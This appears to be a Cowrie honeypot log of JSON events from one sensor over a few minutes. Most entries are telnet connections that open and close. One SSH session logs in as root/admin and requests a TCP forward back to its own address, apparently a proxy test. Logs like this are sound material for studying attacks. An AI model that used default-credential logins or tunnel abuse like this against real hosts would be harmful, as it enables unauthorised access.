{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49126,"dst_ip":"159.203.135.109","dst_port":23,"session":"e78bc843215d","protocol":"telnet","message":"New connection: 147.182.143.59:49126 (159.203.135.109:23) [session: e78bc843215d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:26.180197Z"}
{"eventid":"cowrie.session.closed","duration":40.37378191947937,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:40.523759Z","src_ip":"45.58.127.90","session":"0713db36f2d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.663977861404419,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:41.844015Z","src_ip":"147.182.143.59","session":"e78bc843215d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":47124,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8b6aa9d7eb9","protocol":"telnet","message":"New connection: 147.182.143.59:47124 (159.203.135.109:23) [session: a8b6aa9d7eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:42.008031Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33170,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d4cd35eff0c","protocol":"telnet","message":"New connection: 45.58.127.90:33170 (10.17.0.5:23) [session: 0d4cd35eff0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:42.036676Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38572,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cafbb11b560","protocol":"telnet","message":"New connection: 45.58.127.90:38572 (10.17.0.5:23) [session: 5cafbb11b560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:50.749260Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38560,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bd467a278ae","protocol":"telnet","message":"New connection: 45.58.127.90:38560 (10.17.0.5:23) [session: 2bd467a278ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:51.350726Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37610,"dst_ip":"159.203.135.109","dst_port":23,"session":"461a78067c66","protocol":"telnet","message":"New connection: 147.182.143.59:37610 (159.203.135.109:23) [session: 461a78067c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:51.954308Z"}
{"eventid":"cowrie.session.closed","duration":14.615505933761597,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:10:56.623455Z","src_ip":"147.182.143.59","session":"a8b6aa9d7eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.39742660522461,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:03.351641Z","src_ip":"147.182.143.59","session":"461a78067c66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48196,"dst_ip":"159.203.135.109","dst_port":23,"session":"64ec4f84fa66","protocol":"telnet","message":"New connection: 147.182.143.59:48196 (159.203.135.109:23) [session: 64ec4f84fa66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:04.816387Z"}
{"eventid":"cowrie.session.closed","duration":12.291065692901611,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:17.107348Z","src_ip":"147.182.143.59","session":"64ec4f84fa66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.76851677894592,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:22.805089Z","src_ip":"45.58.127.90","session":"0d4cd35eff0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04482126235962,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:25.395452Z","src_ip":"45.58.127.90","session":"2bd467a278ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59736,"dst_ip":"10.17.0.5","dst_port":23,"session":"26cbca134557","protocol":"telnet","message":"New connection: 45.58.127.90:59736 (10.17.0.5:23) [session: 26cbca134557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:25.674335Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45802,"dst_ip":"10.17.0.5","dst_port":23,"session":"19c5f6f9c580","protocol":"telnet","message":"New connection: 45.58.127.90:45802 (10.17.0.5:23) [session: 19c5f6f9c580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:32.374336Z"}
{"eventid":"cowrie.session.closed","duration":41.66168761253357,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:32.410815Z","src_ip":"45.58.127.90","session":"5cafbb11b560","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5940260887145996,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:32.968230Z","src_ip":"45.58.127.90","session":"19c5f6f9c580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45818,"dst_ip":"10.17.0.5","dst_port":23,"session":"485483bd1015","protocol":"telnet","message":"New connection: 45.58.127.90:45818 (10.17.0.5:23) [session: 485483bd1015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:11:33.011724Z"}
{"eventid":"cowrie.session.closed","duration":41.417242765426636,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:12:07.091443Z","src_ip":"45.58.127.90","session":"26cbca134557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51186,"dst_ip":"10.17.0.5","dst_port":23,"session":"4091710b8b9b","protocol":"telnet","message":"New connection: 45.58.127.90:51186 (10.17.0.5:23) [session: 4091710b8b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:12:14.549343Z"}
{"eventid":"cowrie.session.closed","duration":44.68152737617493,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:12:17.693122Z","src_ip":"45.58.127.90","session":"485483bd1015","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59868,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c51512e488","protocol":"telnet","message":"New connection: 45.58.127.90:59868 (10.17.0.5:23) [session: c0c51512e488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:12:28.205078Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59882,"dst_ip":"10.17.0.5","dst_port":23,"session":"755b6a35e89c","protocol":"telnet","message":"New connection: 45.58.127.90:59882 (10.17.0.5:23) [session: 755b6a35e89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:12:31.577486Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59888,"dst_ip":"10.17.0.5","dst_port":23,"session":"e52c575dc524","protocol":"telnet","message":"New connection: 45.58.127.90:59888 (10.17.0.5:23) [session: e52c575dc524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:12:32.634422Z"}
{"eventid":"cowrie.session.closed","duration":38.54201865196228,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:12:53.091247Z","src_ip":"45.58.127.90","session":"4091710b8b9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.327964544296265,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:05.532923Z","src_ip":"45.58.127.90","session":"c0c51512e488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.88038659095764,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:12.457708Z","src_ip":"45.58.127.90","session":"755b6a35e89c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.39315581321716,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:15.027437Z","src_ip":"45.58.127.90","session":"e52c575dc524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":60164,"dst_ip":"159.203.135.109","dst_port":23,"session":"773b761274dc","protocol":"telnet","message":"New connection: 147.182.143.59:60164 (159.203.135.109:23) [session: 773b761274dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:15.784593Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35940,"dst_ip":"159.203.135.109","dst_port":23,"session":"206d14fcf60d","protocol":"telnet","message":"New connection: 147.182.143.59:35940 (159.203.135.109:23) [session: 206d14fcf60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:22.993441Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25574,"dst_ip":"10.17.0.5","dst_port":22,"session":"89ba28c85103","protocol":"ssh","message":"New connection: 194.59.206.2:25574 (10.17.0.5:22) [session: 89ba28c85103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:24.459993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:24.469301Z","src_ip":"194.59.206.2","session":"89ba28c85103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:24.557869Z","src_ip":"194.59.206.2","session":"89ba28c85103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:24.651951Z","src_ip":"194.59.206.2","session":"89ba28c85103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33256,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77661cd1814","protocol":"telnet","message":"New connection: 45.58.127.90:33256 (10.17.0.5:23) [session: e77661cd1814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:26.892290Z"}
{"eventid":"cowrie.session.closed","duration":13.319747686386108,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:29.104218Z","src_ip":"147.182.143.59","session":"773b761274dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.977494239807129,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:31.970814Z","src_ip":"147.182.143.59","session":"206d14fcf60d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44028,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeb0ccbc0e54","protocol":"telnet","message":"New connection: 147.182.143.59:44028 (159.203.135.109:23) [session: aeb0ccbc0e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:45.419721Z"}
{"eventid":"cowrie.session.closed","duration":10.962303638458252,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:13:56.381876Z","src_ip":"147.182.143.59","session":"aeb0ccbc0e54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54436,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb2ead7c0957","protocol":"telnet","message":"New connection: 147.182.143.59:54436 (159.203.135.109:23) [session: bb2ead7c0957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:14:09.209366Z"}
{"eventid":"cowrie.session.closed","duration":43.19423007965088,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:14:10.086358Z","src_ip":"45.58.127.90","session":"e77661cd1814","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54438,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c3c8e14665c","protocol":"telnet","message":"New connection: 147.182.143.59:54438 (159.203.135.109:23) [session: 4c3c8e14665c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:14:14.197228Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53956,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dcde525909e","protocol":"telnet","message":"New connection: 45.58.127.90:53956 (10.17.0.5:23) [session: 9dcde525909e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:14:23.881428Z"}
{"eventid":"cowrie.session.closed","duration":17.626415014266968,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:14:26.835642Z","src_ip":"147.182.143.59","session":"bb2ead7c0957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.479361534118652,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:14:30.676463Z","src_ip":"147.182.143.59","session":"4c3c8e14665c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52180,"dst_ip":"10.17.0.5","dst_port":23,"session":"36bf5db3dc82","protocol":"telnet","message":"New connection: 45.58.127.90:52180 (10.17.0.5:23) [session: 36bf5db3dc82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:14:34.964937Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b7d90d35387","protocol":"telnet","message":"New connection: 45.58.127.90:60924 (10.17.0.5:23) [session: 6b7d90d35387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:14:45.024765Z"}
{"eventid":"cowrie.session.closed","duration":36.376866579055786,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:00.258222Z","src_ip":"45.58.127.90","session":"9dcde525909e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":57040,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66273cebd18","protocol":"telnet","message":"New connection: 147.182.143.59:57040 (159.203.135.109:23) [session: a66273cebd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:02.268584Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45084,"dst_ip":"10.17.0.5","dst_port":23,"session":"4438c36304c1","protocol":"telnet","message":"New connection: 45.58.127.90:45084 (10.17.0.5:23) [session: 4438c36304c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:04.984800Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45096,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf91b719219d","protocol":"telnet","message":"New connection: 45.58.127.90:45096 (10.17.0.5:23) [session: cf91b719219d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:09.397393Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39424,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad88ef0ef35b","protocol":"telnet","message":"New connection: 147.182.143.59:39424 (159.203.135.109:23) [session: ad88ef0ef35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:11.250020Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47458,"dst_ip":"10.17.0.5","dst_port":23,"session":"5da16ce3714b","protocol":"telnet","message":"New connection: 45.58.127.90:47458 (10.17.0.5:23) [session: 5da16ce3714b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:11.543293Z"}
{"eventid":"cowrie.session.closed","duration":37.73396563529968,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:12.698780Z","src_ip":"45.58.127.90","session":"36bf5db3dc82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.47225546836853,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:15.740697Z","src_ip":"147.182.143.59","session":"a66273cebd18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51834,"dst_ip":"10.17.0.5","dst_port":23,"session":"e07fad7127c9","protocol":"telnet","message":"New connection: 45.58.127.90:51834 (10.17.0.5:23) [session: e07fad7127c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:22.383964Z"}
{"eventid":"cowrie.session.closed","duration":15.779728651046753,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:27.029624Z","src_ip":"147.182.143.59","session":"ad88ef0ef35b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51838,"dst_ip":"10.17.0.5","dst_port":23,"session":"26ea30c1a739","protocol":"telnet","message":"New connection: 45.58.127.90:51838 (10.17.0.5:23) [session: 26ea30c1a739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:27.669369Z"}
{"eventid":"cowrie.session.closed","duration":45.8476197719574,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:30.872248Z","src_ip":"45.58.127.90","session":"6b7d90d35387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":36034,"dst_ip":"10.17.0.5","dst_port":22,"session":"171b789e59f6","protocol":"ssh","message":"New connection: 31.57.216.23:36034 (10.17.0.5:22) [session: 171b789e59f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:40.510475Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:40.516299Z","src_ip":"31.57.216.23","session":"171b789e59f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":36050,"dst_ip":"10.17.0.5","dst_port":22,"session":"322f58820b24","protocol":"ssh","message":"New connection: 31.57.216.23:36050 (10.17.0.5:22) [session: 322f58820b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:40.646590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:40.651497Z","src_ip":"31.57.216.23","session":"322f58820b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:40.790634Z","src_ip":"31.57.216.23","session":"322f58820b24","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:41.150330Z","src_ip":"31.57.216.23","session":"322f58820b24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.216.23","dst_port":80,"src_ip":"31.57.216.23","src_port":5555,"message":"direct-tcp connection request to 31.57.216.23:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:41.256731Z","session":"322f58820b24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.216.23","dst_port":80,"data":"b'9ElT9JFNIKLLRn73lS7zuO1b4KDzlb3kJ7Bvq7UhRtR34c4LZ6'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.216.23:80 with data b'9ElT9JFNIKLLRn73lS7zuO1b4KDzlb3kJ7Bvq7UhRtR34c4LZ6'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:41.364748Z","src_ip":"31.57.216.23","session":"322f58820b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:41.472811Z","src_ip":"31.57.216.23","session":"322f58820b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.029577493667603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:42.572574Z","src_ip":"45.58.127.90","session":"5da16ce3714b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.88215923309326,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:15:47.866834Z","src_ip":"45.58.127.90","session":"4438c36304c1","protocol":"telnet"}
